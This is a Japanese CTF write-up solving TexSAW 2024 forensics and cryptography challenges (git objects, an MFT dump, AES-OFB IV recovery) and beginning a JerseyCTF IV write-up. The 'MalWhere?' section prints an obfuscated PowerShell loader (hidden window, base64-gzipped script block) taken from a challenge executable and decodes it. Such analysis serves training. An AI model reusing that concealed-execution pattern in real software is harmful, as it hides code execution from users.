    }
}

currentEnergyが9000より大きくなった場合のPOSTの処理を実行する。

$ curl http://3.23.56.243:9005/kamehameha.php -d "energy=9001"                                       
texsaw{y0u_th0ught_th1s_w4s_4_fl4g_but_1t_w4s_m3_d10}
texsaw{y0u_th0ught_th1s_w4s_4_fl4g_but_1t_w4s_m3_d10}

Malicious Threat (Forensics 50)

添付されているログを確認すると、以下の怪しいログがある。

192.168.0.8 - - [26/Feb/2024:08:46:37 -0500] "GET /admin/ufile.io/y8ls94tu HTTP 1.1" 401 2048

https://ufile.io/y8ls94tuにアクセスする。Admin.zipがダウンロードできるので、ダウンロードする。
ダウンロードしたzipファイルを解凍し、調べてみる。

$ unzip Admin.zip          
Archive:  Admin.zip
  inflating: Admin/customers.csv     
  inflating: Admin/employee.csv      
  inflating: Admin/organizations.csv  
  inflating: Admin/people.csv        
  inflating: Admin/users.csv
$ cd Admin
$ grep -rl texsaw .
./users.csv
$ cat users.csv | grep texsaw
"2024-02-26 10:35:00 - Admin User 3 texsaw{g0tcha_fl@g_m1ne} - FAILED"
texsaw{g0tcha_fl@g_m1ne}

The Forked Cave (Forensics 50)

$ cd .git
$ cat refs/heads/master 
fcc7c65ddcfa630ebe5c97cae9b014389957dbc7
$ python -c 'import zlib; print zlib.decompress(open("objects/fc/c7c65ddcfa630ebe5c97cae9b014389957dbc7").read())'
commit 245tree cb0c253c9d670bf57f98427112127ac568e55400
parent 9c6d7b5d77ba2f73fca83d026de1fe7904ce6e0b
author Chris Wang <chriswang444@gmail.com> 1539982910 -0500
committer Chris Wang <chriswang444@gmail.com> 1539982910 -0500

Something went very wrong.

$ python -c 'import zlib; print zlib.decompress(open("objects/cb/0c253c9d670bf57f98427112127ac568e55400").read())' | xxd -g 1
00000000: 74 72 65 65 20 31 32 30 00 31 30 30 36 34 34 20  tree 120.100644 
00000010: 6b 6e 69 67 68 74 2e 74 78 74 00 6c 92 65 ef 6d  knight.txt.l.e.m
00000020: 95 58 52 46 77 6b 2d 78 53 56 3d 10 f3 ba ed 31  .XRFwk-xSV=....1
00000030: 30 30 36 34 34 20 70 61 72 74 79 66 6c 61 67 2e  00644 partyflag.
00000040: 74 78 74 00 bd 10 ad af ee 89 ee fe 0e cd 48 e2  txt...........H.
00000050: 96 88 bb cf 71 31 8e 1c 31 30 30 36 34 34 20 70  ....q1..100644 p
00000060: 72 69 65 73 74 65 73 73 2e 74 78 74 00 09 c9 09  riestess.txt....
00000070: ac 51 ad 7b 0f ef 4f 27 4f f2 1b 58 f9 38 73 e0  .Q.{..O'O..X.8s.
00000080: 76 0a                                            v.

$ python -c 'import zlib; print zlib.decompress(open("objects/bd/10adafee89eefe0ecd48e29688bbcf71318e1c").read())'
blob 30texsaw{git_r3set_f_htb_qwltf}

これはフラグとして通らなかったので、引き続きオブジェクトを見てみる。

$ python -c 'import zlib; print zlib.decompress(open("objects/9c/6d7b5d77ba2f73fca83d026de1fe7904ce6e0b").read())'
commit 237tree 20ee707c020242ed3d3eae5b983b130060d8160d
parent 02589c89210a9718a03992eec1a7da85e15c7c7d
author Chris Wang <chriswang444@gmail.com> 1539982872 -0500
committer Chris Wang <chriswang444@gmail.com> 1539982872 -0500

The battle begins!

$ python -c 'import zlib; print zlib.decompress(open("objects/20/ee707c020242ed3d3eae5b983b130060d8160d").read())' | xxd -g 1
00000000: 74 72 65 65 20 33 31 31 00 31 30 30 36 34 34 20  tree 311.100644 
00000010: 62 72 61 77 6c 65 72 2e 74 78 74 00 c7 10 56 79  brawler.txt...Vy
00000020: 84 9c 66 d7 39 e6 a4 f2 b4 36 70 a9 05 9a 0d 3e  ..f.9....6p....>
00000030: 31 30 30 36 34 34 20 63 72 65 65 70 65 72 2e 74  100644 creeper.t
00000040: 78 74 00 27 01 57 b1 21 c6 d4 3e 23 28 49 66 ae  xt.'.W.!..>#(If.
00000050: fa 73 08 2b ab b1 4d 31 30 30 36 34 34 20 64 65  .s.+..M100644 de
00000060: 6d 6f 6e 2e 74 78 74 00 83 a9 4f 99 39 46 d9 cd  mon.txt...O.9F..
00000070: cf e2 7f 64 d7 79 74 a9 5d 43 df 6c 31 30 30 36  ...d.yt.]C.l1006
00000080: 34 34 20 67 6f 62 6c 69 6e 2e 74 78 74 00 a5 d5  44 goblin.txt...
00000090: 7a 2b a6 ec 94 be 96 48 df 24 6e b7 6a e1 23 d8  z+.....H.$n.j.#.
000000a0: 1d af 31 30 30 36 34 34 20 70 72 69 65 73 74 65  ..100644 prieste
000000b0: 73 73 2e 74 78 74 00 d3 e3 6b 7f cf e0 98 09 c6  ss.txt...k......
000000c0: 93 73 5b ab 04 79 de 6b e4 e3 f7 31 30 30 36 34  .s[..y.k...10064
000000d0: 34 20 73 6b 65 6c 65 74 6f 6e 2e 74 78 74 00 02  4 skeleton.txt..
000000e0: 05 7f 08 c9 e3 6f 42 12 89 88 52 df 1d 73 e5 65  .....oB...R..s.e
000000f0: 8b b5 00 31 30 30 36 34 34 20 73 6f 6c 64 69 65  ...100644 soldie
00000100: 72 2e 74 78 74 00 74 9e 0b 54 fc 6b 97 18 0e f0  r.txt.t..T.k....
00000110: 17 81 7a d3 c6 fd 7a 95 0a 0c 31 30 30 36 34 34  ..z...z...100644
00000120: 20 77 69 7a 61 72 64 2e 74 78 74 00 96 57 cf a2   wizard.txt..W..
00000130: 01 7e c5 40 f5 6f ef 6f 8b 16 b1 05 ee 3e eb d3  .~.@.o.o.....>..
00000140: 0a                                               .

どこにフラグがあるかわからないので、オブジェクトを順に見ていく。

$ python -c 'import zlib; print zlib.decompress(open("objects/02/057f08c9e36f4212898852df1d73e5658bb500").read())'
blob 50I'm Sans Undertale. Get ready to have a bad time.

$ python -c 'import zlib; print zlib.decompress(open("objects/02/589c89210a9718a03992eec1a7da85e15c7c7d").read())'
commit 197tree 7717189b1facf2db5f828de25662e25da50f89e7
author Chris Wang <chriswang444@gmail.com> 1539982828 -0500
committer Chris Wang <chriswang444@gmail.com> 1539982828 -0500

The party enters the cave.

$ python -c 'import zlib; print zlib.decompress(open("objects/6c/9265ef6d95585246776b2d7853563d10f3baed").read())'
blob 30We'll kill them one by one...

$ python -c 'import zlib; print zlib.decompress(open("objects/09/c909ac51ad7b0fef4f274ff21b58f93873e076").read())'
blob 37I've seen things I shouldn't have...

$ python -c 'import zlib; print zlib.decompress(open("objects/27/0157b121c6d43e23284966aefa73082babb14d").read())'
blob 9C3H5N3O9

$ python -c 'import zlib; print zlib.decompress(open("objects/74/9e0b54fc6b97180ef017817ad3c6fd7a950a0c").read())'
blob 36My broadsword is too big for CQC...

$ python -c 'import zlib; print zlib.decompress(open("objects/77/17189b1facf2db5f828de25662e25da50f89e7").read())' | xxd -g 1
00000000: 74 72 65 65 20 31 39 38 00 31 30 30 36 34 34 20  tree 198.100644 
00000010: 62 72 61 77 6c 65 72 2e 74 78 74 00 c7 10 56 79  brawler.txt...Vy
00000020: 84 9c 66 d7 39 e6 a4 f2 b4 36 70 a9 05 9a 0d 3e  ..f.9....6p....>
00000030: 31 30 30 36 34 34 20 70 61 72 74 79 66 6c 61 67  100644 partyflag
00000040: 2e 74 78 74 00 f3 9f 6b 24 a5 d1 33 47 11 ea 64  .txt...k$..3G..d
00000050: e2 69 ab 24 07 14 e8 17 f1 31 30 30 36 34 34 20  .i.$.....100644 
00000060: 70 72 69 65 73 74 65 73 73 2e 74 78 74 00 d3 e3  priestess.txt...
00000070: 6b 7f cf e0 98 09 c6 93 73 5b ab 04 79 de 6b e4  k.......s[..y.k.
00000080: e3 f7 31 30 30 36 34 34 20 73 6f 6c 64 69 65 72  ..100644 soldier
00000090: 2e 74 78 74 00 74 9e 0b 54 fc 6b 97 18 0e f0 17  .txt.t..T.k.....
000000a0: 81 7a d3 c6 fd 7a 95 0a 0c 31 30 30 36 34 34 20  .z...z...100644 
000000b0: 77 69 7a 61 72 64 2e 74 78 74 00 96 57 cf a2 01  wizard.txt..W...
000000c0: 7e c5 40 f5 6f ef 6f 8b 16 b1 05 ee 3e eb d3 0a  ~.@.o.o.....>...

$ python -c 'import zlib; print zlib.decompress(open("objects/f3/9f6b24a5d1334711ea64e269ab240714e817f1").read())'
blob 30texsaw{git_g00d_or_git_d3ath}
texsaw{git_g00d_or_git_d3ath}

MFMFT (Forensics 100)

MFTファイルが添付されている。あとは問題文中のパスワードに関する以下のヒントからパスワードを取得し、フラグ形式にして答えればよいらしい。

Oh, this might help: [0, 10, 17, 18, 5, 6, 15, 13, 9, 16, 12, 5, 11, 1, 14, 5, 7, 6, 7, 3, 2, 2, 10, 8, 4, 7]
>MFTECmd.exe -f TheMFT --csv .
MFTECmd version 1.2.2.1

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/MFTECmd

Command line: -f TheMFT --csv .

File type: Mft

Processed TheMFT in 0.0153 seconds

TheMFT: FILE records found: 0 (Free records: 30) File size: 30KB
        CSV output will be saved to .\20240324123516_MFTECmd_$MFT_Output.csv

出力されたログは以下のようになっている。

EntryNumber,SequenceNumber,InUse,ParentEntryNumber,ParentSequenceNumber,ParentPath,FileName,Extension,FileSize,ReferenceCount,ReparseTarget,IsDirectory,HasAds,IsAds,SI<FN,uSecZeros,Copied,SiFlags,NameType,Created0x10,Created0x30,LastModified0x10,LastModified0x30,LastRecordChange0x10,LastRecordChange0x30,LastAccess0x10,LastAccess0x30,UpdateSequenceNumber,LogfileSequenceNumber,SecurityId,ObjectIdFileDroid,LoggedUtilStream,ZoneIdContents
64,3,False,85,2,.Trash-1001\     ,3,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5982428,,2024-03-04 03:53:06.5984984,,2024-03-04 04:02:58.4373758,2024-03-04 03:53:06.5984984,2024-03-04 03:53:08.7541090,,0,0,0,,,
65,3,False,85,2,.Trash-1001\     ,F,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5985849,,2024-03-04 03:53:06.5987176,,2024-03-04 04:02:58.4559919,2024-03-04 03:53:06.5987176,2024-03-04 03:53:08.7553057,,0,0,0,,,
66,3,False,85,2,.Trash-1001\     ,2,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5987856,,2024-03-04 03:53:06.5999261,,2024-03-04 04:02:58.4344358,2024-03-04 03:53:06.5999261,2024-03-04 03:53:08.7554917,,0,0,0,,,
67,3,False,85,2,.Trash-1001\     ,f,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5989500,,2024-03-04 03:53:06.5990127,,2024-03-04 04:02:58.4538910,2024-03-04 03:53:06.5990127,2024-03-04 03:53:08.7556665,,0,0,0,,,
68,3,False,85,2,.Trash-1001\     ,8,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5990638,,2024-03-04 03:53:06.5991274,,2024-03-04 04:02:58.4456464,2024-03-04 03:53:06.5991274,2024-03-04 03:53:08.7558601,,0,0,0,,,
69,3,False,85,2,.Trash-1001\     ,_,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5991804,,2024-03-04 03:53:06.6009016,,2024-03-04 04:02:58.4317408,2024-03-04 03:53:06.6009016,2024-03-04 03:53:08.7560750,,0,0,0,,,
70,3,False,85,2,.Trash-1001\     ,b,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5992970,,2024-03-04 03:53:06.6003470,,2024-03-04 04:02:58.4477256,2024-03-04 03:53:06.6003470,2024-03-04 03:53:08.7562797,,0,0,0,,,
71,3,False,85,2,.Trash-1001\     ,7,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5994119,,2024-03-04 03:53:06.6004484,,2024-03-04 04:02:58.4437273,2024-03-04 03:53:06.6004484,2024-03-04 03:53:08.7564516,,0,0,0,,,
72,3,False,85,2,.Trash-1001\     ,5,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5995273,,2024-03-04 03:53:06.5995903,,2024-03-04 04:02:58.4417241,2024-03-04 03:53:06.5995903,2024-03-04 03:53:08.7566222,,0,0,0,,,
73,3,False,85,2,.Trash-1001\     ,e,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5996409,,2024-03-04 03:53:06.5997045,,2024-03-04 04:02:58.4497348,2024-03-04 03:53:06.5997045,2024-03-04 03:53:08.7567934,,0,0,0,,,
74,3,False,85,2,.Trash-1001\     ,4,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5997584,,2024-03-04 03:53:06.6013519,,2024-03-04 04:02:58.4397756,2024-03-04 03:53:06.6013519,2024-03-04 03:53:08.7569632,,0,0,0,,,
75,3,False,85,2,.Trash-1001\     ,M,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5999791,,2024-03-04 03:53:06.6000419,,2024-03-04 04:02:58.4579075,2024-03-04 03:53:06.6000419,2024-03-04 03:53:08.7571342,,0,0,0,,,
76,3,False,85,2,.Trash-1001\     ,Y,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.6005016,,2024-03-04 03:53:06.6005653,,2024-03-04 04:02:58.4674893,2024-03-04 03:53:06.6005653,2024-03-04 03:53:08.7573038,,0,0,0,,,
77,3,False,85,2,.Trash-1001\     ,E,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.6006191,,2024-03-04 03:53:06.6006828,,2024-03-04 04:02:58.4517453,2024-03-04 03:53:06.6006828,2024-03-04 03:53:08.7574742,,0,0,0,,,
78,3,False,85,2,.Trash-1001\     ,T,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.6007363,,2024-03-04 03:53:06.6007997,,2024-03-04 04:02:58.4637358,2024-03-04 03:53:06.6007997,2024-03-04 03:53:08.7576692,,0,0,0,,,
79,3,False,85,2,.Trash-1001\     ,r,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.6009555,,2024-03-04 03:53:06.6010189,,2024-03-04 04:02:58.4598378,2024-03-04 03:53:06.6010189,2024-03-04 03:53:08.7578745,,0,0,0,,,
80,3,False,85,2,.Trash-1001\     ,z,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.6010703,,2024-03-04 03:53:06.6011340,,2024-03-04 04:02:58.4694044,2024-03-04 03:53:06.6011340,2024-03-04 03:53:08.7580854,,0,0,0,,,
81,3,False,85,2,.Trash-1001\     ,s,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.6011869,,2024-03-04 03:53:06.6012500,,2024-03-04 04:02:58.4617396,2024-03-04 03:53:06.6012500,2024-03-04 03:53:08.7582727,,0,0,0,,,
82,3,False,85,2,.Trash-1001\     ,y,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.6014054,,2024-03-04 03:53:06.6014684,,2024-03-04 04:02:58.4655793,2024-03-04 03:53:06.6014684,2024-03-04 03:53:08.7584517,,0,0,0,,,
83,3,False,5,5,,.Trash-1001,,0,1,,True,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4309354,,2024-03-04 04:03:02.5524727,2024-03-04 04:02:58.4309354,2024-03-04 04:03:02.5524727,2024-03-04 04:02:58.4309354,2024-03-04 04:02:58.4364638,2024-03-04 04:02:58.4309354,0,0,0,,,
84,3,False,83,2,.Trash-1001,    ,,0,1,,True,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4310661,,2024-03-04 04:03:02.5249755,2024-03-04 04:02:58.4310661,2024-03-04 04:03:02.5249755,2024-03-04 04:02:58.4310661,2024-03-04 04:03:02.4995365,2024-03-04 04:02:58.4310661,0,0,0,,,
85,3,False,83,2,.Trash-1001,     ,,0,1,,True,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4311379,,2024-03-04 04:03:02.5512914,2024-03-04 04:02:58.4311379,2024-03-04 04:03:02.5512914,2024-03-04 04:02:58.4311379,2024-03-04 04:03:02.4985102,2024-03-04 04:02:58.4311379,0,0,0,,,
86,11,False,84,2,.Trash-1001\    ,z.                   000000039,.                   000000039,0,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4689668,,2024-03-04 04:02:58.4689668,,2024-03-04 04:02:58.4692604,2024-03-04 04:02:58.4689668,2024-03-04 04:02:58.4689668,,0,0,0,,,
87,3,False,84,2,.Trash-1001\    ,_.         ,.         ,53,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4313758,,2024-03-04 04:02:58.4314335,,2024-03-04 04:02:58.4316200,2024-03-04 04:02:58.4314335,2024-03-04 04:02:58.4319003,2024-03-04 04:02:58.4313758,0,0,0,,,
88,5,False,84,2,.Trash-1001\    ,8.trashinfo,.trashinfo,53,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4452771,,2024-03-04 04:02:58.4453303,,2024-03-04 04:02:58.4455187,2024-03-04 04:02:58.4453303,2024-03-04 04:02:58.4457853,2024-03-04 04:02:58.4452771,0,0,0,,,
89,3,False,84,2,.Trash-1001\    ,2.         ,.         ,53,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4340525,,2024-03-04 04:02:58.4341177,,2024-03-04 04:02:58.4343058,2024-03-04 04:02:58.4341177,2024-03-04 04:02:58.4346275,2024-03-04 04:02:58.4340525,0,0,0,,,
90,5,False,84,2,.Trash-1001\    ,M.         ,.         ,53,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4575833,,2024-03-04 04:02:58.4576289,,2024-03-04 04:02:58.4577964,2024-03-04 04:02:58.4576289,2024-03-04 04:02:58.4580561,2024-03-04 04:02:58.4575833,0,0,0,,,
91,3,False,84,2,.Trash-1001\    ,b.         ,.         ,53,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4473670,,2024-03-04 04:02:58.4474178,,2024-03-04 04:02:58.4475986,2024-03-04 04:02:58.4474178,2024-03-04 04:02:58.4478765,2024-03-04 04:02:58.4473670,0,0,0,,,
92,5,False,84,2,.Trash-1001\    ,z.         ,.         ,53,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4690767,,2024-03-04 04:02:58.4691226,,2024-03-04 04:02:58.4692923,2024-03-04 04:02:58.4691226,2024-03-04 04:02:58.4695342,2024-03-04 04:02:58.4690767,0,0,0,,,
93,3,False,84,2,.Trash-1001\    ,r.         ,.         ,53,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4594638,,2024-03-04 04:02:58.4595174,,2024-03-04 04:02:58.4597089,2024-03-04 04:02:58.4595174,2024-03-04 04:02:58.4599829,2024-03-04 04:02:58.4594638,0,0,0,,,

64をインデックス0として対応するFileNameを当てはめていく。

[0, 10, 17, 18, 5, 6, 15, 13, 9, 16, 12, 5, 11, 1, 14, 5, 7, 6, 7, 3, 2, 2, 10, 8, 4, 7]
 3   4   s   y  _  b   r   E  e   z   Y  _   M  F   T  _  7  b  7  f  2  2   4  5  8  7

パスワードは以下のようになる。

34sy_brEezY_MFT_7b7f224587
texsaw{34sy_brEezY_MFT_7b7f224587}

MalWhere? (Forensics 200)

$ file hwvidmigplugin.exe
hwvidmigplugin.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

dnSpyで開き、Resourcesを確認すると、hwvidmigplugin.ps1があり、以下のように書いてある。

powershell.exe -nop -w hidden -noni -c;$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe';$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAC3yPWUA/21ST+saMRT8KjlsUEkDef/yp7JQWvhBoVAvPYmHtQhaRIvY0kM/vC9bTDz0sodhMjNvZofrTzOa7ffjdNvudh+W29PlvltKIAshOYbVu39IIlREfAOIi0UsLjyBktlmCR5Kp4BFFtdFAlrJ2ckTYFRVjj49gaw2MaHn3GVBjdFDeyQqCxIcNg7KzHGITaewTYA+dk6oHHrRiaQXcPDcXlFOFkCVe8CElhg9toSQajWl30AhWsigRazWw236T5uJ2EIE13xq3hK6hLDWoL7U4mtRxNo2txqYbIbXdlHUV3JfBClboOBiU0HSEsQ32aI+qFF7kKDJArnug6XWFPpm80Q6a1NlrY0wuxYENFpCx+0cVbSS+p+RlIA6RjOJmkOEXB+5/l2RO4OK3sK61tzq+TaaWq3/cT1dzGKxHqY/Y/1zO7Afh8Pl9/vNt49fPn8yzuibyjJ/zddfd/92Oh/M/N1M96MZ9usHQYmIpvgCAAA=''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);

base64部分をデコードし、ファイル保存する。

#!/usr/bin/env python3
from base64 import *

enc = 'H4sIAC3yPWUA/21ST+saMRT8KjlsUEkDef/yp7JQWvhBoVAvPYmHtQhaRIvY0kM/vC9bTDz0sodhMjNvZofrTzOa7ffjdNvudh+W29PlvltKIAshOYbVu39IIlREfAOIi0UsLjyBktlmCR5Kp4BFFtdFAlrJ2ckTYFRVjj49gaw2MaHn3GVBjdFDeyQqCxIcNg7KzHGITaewTYA+dk6oHHrRiaQXcPDcXlFOFkCVe8CElhg9toSQajWl30AhWsigRazWw236T5uJ2EIE13xq3hK6hLDWoL7U4mtRxNo2txqYbIbXdlHUV3JfBClboOBiU0HSEsQ32aI+qFF7kKDJArnug6XWFPpm80Q6a1NlrY0wuxYENFpCx+0cVbSS+p+RlIA6RjOJmkOEXB+5/l2RO4OK3sK61tzq+TaaWq3/cT1dzGKxHqY/Y/1zO7Afh8Pl9/vNt49fPn8yzuibyjJ/zddfd/92Oh/M/N1M96MZ9usHQYmIpvgCAAA='
dec = b64decode(enc)

with open('flag.gz', 'wb') as f:
    f.write(dec)
$ file flag.gz
flag.gz: gzip compressed data, last modified: Sun Oct 29 05:48:29 2023, original size modulo 2^32 760

gzファイルであることがわかるので、解凍する。

$ gzip -d flag.gz
$ cat flag
$op = [char[]]@([int](503%107+41),[int](732%105-1),[int](349%229+0),[int](984%850-19),[int](341%245+1),[int](702%588+5),[int](422%146-7),[int](832%672-48),[int](981%102-15),[int](541%150+28),[int](251%102+22),[int](894%712-68),[int](201%103-15),[int](639%240-42),[int](387%110+25),[int](472%342-27),[int](173%109+5),[int](306%181+0));$ra = [char[]]@([int](734%161+2),[int](251%90+5),[int](542%110+3),[int](802%345-14),[int](943%810-19),[int](256%158-1),[int](238%130+6),[int](823%715-3),[int](942%281+2),[int](204%103+14),[int](291%100+1),[int](422%150-6),[int](439%328+9),[int](143%72+45),[int](103%57+0),[int](743%212-4),[int](642%553+8),[int](932%164-4),[int](398%143-10));$lr= $ra -join '';$ax=$op -join '';$b=$env:PUBLIC + $lr;$ax | Out-File -FilePath $b;

「[int]()」という形式で並んでいるので、ASCIIコードを文字にする。

#!/usr/bin/env python3
codes = '[int](503%107+41),[int](732%105-1),[int](349%229+0),[int](984%850-19),[int](341%245+1),[int](702%588+5),[int](422%146-7),[int](832%672-48),[int](981%102-15),[int](541%150+28),[int](251%102+22),[int](894%712-68),[int](201%103-15),[int](639%240-42),[int](387%110+25),[int](472%342-27),[int](173%109+5),[int](306%181+0)'
codes = codes.replace('[int](', '').replace(')', '')
codes = codes.split(',')

flag = ''
for code in codes:
    flag += chr(eval(code))
print(flag)
texsaw{p0wErSuRgE}

Crypto Trail (Cryptography 50)

以下の順でデコードする。

・2進数
・16進数
・base64
・シーザー暗号
#!/usr/bin/env python3
from base64 import *
import string

def caesar(s, key):
    d = ''
    for c in s:
        code = ord(c)
        if c in string.ascii_uppercase:
            code = code - key
            if code < ord('A'):
                code += 26
        elif c in string.ascii_lowercase:
            code = code - key
            if code < ord('a'):
                code += 26
        d += chr(code)
    return d

codes = '00110101 01100001 00100000 00110011 00110011 00100000 00110100 01100001 00100000 00110111 00110010 00100000 00110101 01100001 00100000 00110110 01100100 00100000 00110011 00110101 00100000 00110111 00110001 00100000 00110110 00110101 00100000 00110011 00110010 00100000 00110110 00110100 00100000 00110100 00110110 00100000 00110110 00110010 00100000 00110110 01100001 00100000 00110100 00110110 00100000 00110101 01100001 00100000 00110101 01100001 00100000 00110110 01100011 00100000 00110011 00111001 00100000 00110110 01100011 00100000 00110101 00110011 00100000 00110100 00110111 00100000 00110100 00110110 00100000 00110110 00110110 00100000 00110110 00110011 00100000 00110100 00110100 00100000 00110100 00110010 00100000 00110101 01100001 00100000 00110101 00110101 00100000 00110101 00111000 00100000 00110011 00110000 00100000 00110011 01100100'
codes = codes.split(' ')

msg = ''
for code in codes:
    msg += chr(int(code, 2))
print('[+]', msg)

codes = msg.split(' ')
msg = ''
for code in codes:
    msg += chr(int(code, 16))
print('[+]', msg)

msg = b64decode(msg).decode()
print('[+]', msg)

msg = caesar(msg, 13)
print('[*]', msg)

実行結果は以下の通り。

[+] 5a 33 4a 72 5a 6d 35 71 65 32 64 46 62 6a 46 5a 5a 6c 39 6c 53 47 46 66 63 44 42 5a 55 58 30 3d
[+] Z3JrZm5qe2dFbjFZZl9lSGFfcDBZUX0=
[+] grkfnj{gEn1Yf_eHa_p0YQ}
[*] texsaw{tRa1Ls_rUn_c0LD}
texsaw{tRa1Ls_rUn_c0LD}

Freaky Flags (Cryptography 50)

縦に縞々になっている画像ファイルが添付されている。上から順にRGBの値を文字にしていく。

#!/usr/bin/env python3
from PIL import Image

img = Image.open('freakyFlags.png').convert('RGB')
w, h = img.size

flag = ''
for y in [30, 100, 190, 310, 450, 560, 660]:
    r, g, b = img.getpixel((0, y))
    flag += chr(r)
    flag += chr(g)
    flag += chr(b)
print(flag)
the_flag_is_the_flag!
texsaw{the_flag_is_the_flag!}

Ironcrypt (Cryptography 300)

サーバの処理概要は以下の通り。

・one = "----------------"(不明という意味か)
・two = "----------------"(不明という意味か)
・maxlen = 256
・message: 入力
・msglen: messageの長さ
・msglenは0の場合、終了
・msglenがmaxlenより大きい場合
 ・messageをmaxlenで切る。
・msglenが16の倍数でない場合
 ・messageに"0"を16 - msglen % 16個パディング
・encrypted = encrypt(message, one)
 ・AES OFBモードでoneをkeyにしてtwoをivにしてmessageを暗号化
・messageを表示
・messageを16進数表記で表示
・encryptedを16進数表記で表示
$ nc 3.23.56.243 9013
Give me a message to encrypt:
123
Encryption Key:    texsaw{gl0ry_to_
Original Message:  1230000000000000
Message in Hex:    31323330303030303030303030303030
Encrypted Message: 3ac480e66ae6101e7d59484d0bcd5ad2

実際は鍵だけわかっている。OFBモードの性質から、以下のようにIVを求めることができる。

平文1ブロック目 ^ 暗号文1ブロック目 --(AES ECBモード復号)--> IV
#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.strxor import strxor

key = b'texsaw{gl0ry_to_'
pt = b'1230000000000000'
ct = bytes.fromhex('3ac480e66ae6101e7d59484d0bcd5ad2')

aes = AES.new(key, AES.MODE_ECB)
iv = aes.decrypt(strxor(pt, ct))

flag = (key + iv).decode()
print(flag)
texsaw{gl0ry_to_th3_4zur_$kIes!}

JerseyCTF IV Writeup

この大会は2024/3/24 1:00(JST)~2024/3/25 1:00(JST)に開催されました。
今回もチームで参戦。結果は992点で520チーム中228位でした。
自分で解けた問題をWriteupとして書いておきます。

Rules for JerseyCTF IV (Required)

PDFの最下部にフラグが書いてあった。

jctf{i_agree_to_the_rules}

internal-tensions (misc)

Internet Archiveで2/15のものを見てみる。HTMLソースを見ると、コメントにフラグが書いてあった。

jctf{th3_1nt3rn3t_n3v3r_f0rg3t5_y0ur_b1und3r5}

data-divergence-discovery (misc)

添付のファイルの差分を見てみる。

$ diff neon-echoes-1.txt neon-echoes-2.txt
4c4
< moved with purpose through the cyberpunk metropolis. His cybernetic eyes scanned the surroundings, searching for the entrance to the                                                                                                                        
---
> moved with purpose through the cyberpunk metropolis. His cybernetic eyes scanned the surroundinqs, searching for the entrance to the                                                                                                                        
9c9
< savior. The city's underbelly was a maze of flickering screens, each one a gateway to a world of secrets. Jack, the ghost in the                                                                                                                            
---
> savior. The city's underbelly was a maze of flickering screens, each one a gateway to a world of secrets. Jack, the ghoust in the                                                                                                                           
15c15
< the binary betrayal—a truth too dangerous to share. As he delved deeper, the lines between reality and virtuality blurred, and he                                                                                                                           
---
> the binary betrayal—a truth too dangerous to share. 4s he delved deeper, the lines between reality and virtuality blurred, and he                                                                                                                           
20c20
< reverberated through the digital alleyways. The megacorporations, guardians of the fabricated reality, dispatched their cybernetic                                                                                                                          
---
> reverberated through the digital alleyways. The megancorporations, guardians of the fabricated reality, dispatched their cybernetic                                                                                                                         
25c25
< pavement, a symphony of pursuit echoing through the night. Neon signs flickered in panic as Jack ducked into alleys, his cybernetic                                                                                                                         
---
> pavement, a symphony of pursuit echoing through the night. Neton signs flickered in panic as Jack ducked into alleys, his cybernetic                                                                                                                        
29c29
< Through the electric pulse of the city, Jack reached out to the rebels. The encrypted evidence needed to be broadcasted before the                                                                                                                          
---
> Through the electruic pulse of the city, Jack reached out to the rebels. The encrypted evidence needed to be broadcasted before the                                                                                                                         
34c34
< In a final showdown amid the neon-soaked cityscape, Jack faced the enforcers. The rebels rallied behind him, their augmented reality                                                                                                                        
---
> In a final showdown ammid the neon-soaked cityscape, Jack faced the enforcers. The rebels rallied behind him, their augmented reality                                                                                                                       
38c38
< As the rebels dismantled the fabricated reality, the city shuddered with the birth pains of a new era. The neon lights flickered,                                                                                                                           
---
> As the rebels dismantled the fabricated reality, the city shuddered with the birth pains of a new era. The neon lights_flickered,                                                                                                                           
